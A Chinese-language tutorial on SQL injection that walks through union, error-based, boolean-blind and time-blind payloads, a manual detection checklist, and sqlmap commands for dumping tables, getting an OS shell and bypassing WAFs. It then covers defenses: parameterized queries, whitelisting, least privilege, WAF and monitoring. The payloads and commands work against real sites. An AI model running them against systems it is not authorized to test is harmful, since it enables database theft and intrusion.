SQL注入:从原理到防御,一条完整的攻防链路
SQL注入(SQL Injection)是一个”古老”却至今仍稳居 OWASP Top 10 前列的漏洞。根据 Verizon 2024 数据泄露报告,Web应用攻击中有超过 25% 与注入类漏洞相关。本文从攻击者视角走一遍完整链路,再回到防御方,给出可落地的方案。
一、SQL注入的本质
一句话概括:用户输入的数据被当作 SQL 代码执行了。
举个例子,一个典型的登录查询:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
如果用户输入 admin' -- 作为用户名,拼接后变成:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'whatever'
-- 是 SQL 注释符,后面的密码验证直接被吃掉。攻击者无需密码即可登录。
这背后的根因是:代码将数据和指令混在了一起,没有做严格分离。
二、四种常见注入手法
2.1 联合查询注入(Union-Based)
前提是页面会直接显示查询结果。核心思路是用 UNION SELECT 把恶意查询结果拼到正常结果后面。
关键前置步骤:先确定原查询的列数。
' ORDER BY 1-- # 正常
' ORDER BY 2-- # 正常
' ORDER BY 3-- # 报错 → 说明只有2列
确认列数后,构造联合查询:
' UNION SELECT NULL, group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--
这一步可以拖出数据库里所有表名。然后逐层递进:表名 → 列名 → 数据。
2.2 报错注入(Error-Based)
页面不直接显示数据,但会暴露数据库错误信息。利用数据库函数制造”带数据的报错”。
MySQL 经典 payload:
' AND updatexml(1, concat(0x7e, (SELECT database()), 0x7e), 1)--
updatexml 的第二个参数不是合法 XPATH 时会报错,并把非法内容输出到错误消息里。0x7e 是 ~ 字符,用来标记提取内容的边界。
类似的还有 extractvalue()、floor() + rand() 双重查询等手法。
2.3 布尔盲注(Boolean-Based Blind)
完全不显示数据,也不报错,但页面对于”真”和”假”的查询会返回不同内容(比如”用户存在” vs “用户不存在”)。
逐字符猜解:
' AND ASCII(substring((SELECT database()),1,1)) > 100--
通过二分法不断缩小范围,逐字符拼出完整数据。一个8位数据库名理论上最多需要 8×7=56 次请求。
2.4 时间盲注(Time-Based Blind)
最极端的情况:页面不管查询结果如何,返回都一样。此时用延时函数来”听”结果。
' AND IF(ASCII(substring((SELECT database()),1,1))>100, SLEEP(3), 0)--
如果页面响应延迟了 3 秒,说明猜对了。这是最慢但最通用的方法。
三、手工检测四步法
对于任何一个可能存在注入的参数,按以下顺序测试:
| 步骤 | 测试内容 | Payload示例 | 观察点 |
|---|---|---|---|
| 1 | 字符型检测 | ' " ') |
是否报错/异常 |
| 2 | 数字型检测 | 1-0 1+0 1*2 |
运算结果是否一致 |
| 3 | 布尔差异 | AND 1=1 vs AND 1=2 |
页面是否不同 |
| 4 | 时间延迟 | AND SLEEP(5) |
是否明显延迟 |
如果第1步就报错了,直接进入利用阶段。如果第3步页面有差异,布尔盲注。如果只有第4步有效,时间盲注。
注意:测试时务必在合法授权范围内(自己搭建的靶场、授权的渗透测试项目等)。
四、sqlmap 自动化实战
手工注入适合学习和理解原理,实战中更常用自动化工具。sqlmap 是 SQL 注入的瑞士军刀。
基础用法
# 探测 GET 参数
sqlmap -u "http://target.com/page.php?id=1"
# 指定参数,提高效率
sqlmap -u "http://target.com/page.php?id=1&cat=2" -p id
# POST 请求
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user
进阶参数
# 有 Cookie/Session 时带上
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=xxx"
# 指定数据库类型(跳过指纹识别,加快速度)
sqlmap -u "..." --dbms=mysql
# 获取数据库列表
sqlmap -u "..." --dbs
# 获取指定库的所有表
sqlmap -u "..." -D dbname --tables
# 拖指定表的数据
sqlmap -u "..." -D dbname -T users --dump
# 尝试获取 OS Shell(高风险,需授权)
sqlmap -u "..." --os-shell
绕 WAF 常用 tamper
# 使用 tamper 脚本绕过简单 WAF
sqlmap -u "..." --tamper=space2comment,randomcase,between
# 查看所有可用 tamper
sqlmap --list-tampers
常用的 tamper 脚本:
| Tamper | 作用 |
|---|---|
space2comment |
空格替换为 /**/ |
randomcase |
随机大小写绕过关键字匹配 |
between |
> 替换为 BETWEEN |
charencode |
URL 编码 |
charunicodeencode |
Unicode 编码 |
五、防御方案:纵深防御
单点防御不可靠,需要层层设防。
5.1 第一层:代码层 — 参数化查询
这是最核心、最根本的防御手段。 参数化查询将 SQL 结构与数据彻底分离,从机制上杜绝注入。
错误示范(PHP):
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
正确做法(PDO 预处理):
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);
Java(JDBC PreparedStatement):
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
stmt.setInt(1, userId);
注意:参数化查询不能用于表名、列名、ORDER BY 等动态 SQL 标识符。这些场景需要白名单校验:
$allowed_columns = ['id', 'username', 'email', 'create_time'];
$order_by = in_array($_GET['order'], $allowed_columns) ? $_GET['order'] : 'id';
5.2 第二层:输入校验
- 类型强制:ID 必须是整数 →
intval() - 格式校验:邮箱、手机号用正则白名单
- 长度限制:防止通过超长输入绕过
5.3 第三层:最小权限原则
应用连接数据库的账号永远不要用 root。
-- 只给必要的权限
GRANT SELECT, INSERT, UPDATE ON app_db.* TO 'app_user'@'localhost';
这样即使发生注入,攻击者也无法执行 DROP TABLE、LOAD_FILE、INTO OUTFILE 等高危操作。
5.4 第四层:WAF / 数据库防火墙
在应用之前加一层 WAF(如 ModSecurity、Cloudflare WAF),拦截常见注入 payload。数据库层也可以部署数据库防火墙(如 MySQL Enterprise Firewall),学习正常 SQL 模式后阻断异常查询。
5.5 第五层:日志监控与告警
- 记录所有 SQL 错误日志
- 对高频
information_schema查询、UNION SELECT等特征设置告警 - 定期审计数据库慢查询日志中的异常模式
六、总结
SQL 注入的攻防本质上是一场信息不对称的博弈:
| 视角 | 核心逻辑 |
|---|---|
| 攻击方 | 找到数据与指令的边界模糊点,注入恶意 SQL |
| 防御方 | 用参数化查询彻底分离数据与指令 |
参数化查询解决了 90% 的问题,剩下 10%(动态排序、表名拼接等)靠白名单校验。再加上纵深防御的其他层级——输入校验、最小权限、WAF、日志监控——可以把风险降到可控范围。
最后提醒一句:本文所有技术仅供学习与授权测试使用。未授权的渗透测试属于违法行为。
参考资源
- OWASP SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- sqlmap 官方文档: https://github.com/sqlmapproject/sqlmap/wiki
- PortSwigger SQL Injection Tutorial: https://portswigger.net/web-security/sql-injection
- DVWA(练习靶场): https://github.com/digininja/DVWA